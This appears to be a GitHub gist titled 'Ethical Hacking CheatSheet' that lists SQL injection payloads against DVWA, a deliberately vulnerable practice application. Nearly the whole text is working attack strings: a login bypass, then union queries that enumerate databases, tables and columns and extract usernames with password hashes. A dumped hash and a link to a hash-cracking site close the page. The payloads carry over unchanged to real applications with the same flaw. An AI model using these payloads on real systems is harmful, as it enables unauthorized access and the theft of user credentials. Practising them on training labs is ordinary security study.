Skip to content

Instantly share code, notes, and snippets.

@softon
Created September 12, 2020 07:01
Show Gist options
  • Save softon/ce8a013b3f19a2a791667d1599fe7332 to your computer and use it in GitHub Desktop.
Save softon/ce8a013b3f19a2a791667d1599fe7332 to your computer and use it in GitHub Desktop.
Ethical Hacking CheatSheet
-- SQL Injection Login
' or 1=1 or '
-- Get Databases:
1' union select 1,table_schema from information_schema.tables union select 1,'1
-- Get Tables
1' union select 1,table_name from information_schema.tables where table_schema = 'dvwa' union select 1,'1
-- Get Columns
1' union select 1,column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users' union select 1,'1
-- Get Username & Password
1' union select 1,concat(user,":",password) from dvwa.users union select 1,'1
admin:5f4dcc3b5aa765d61d8327deb882cf99
https://crackstation.net
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment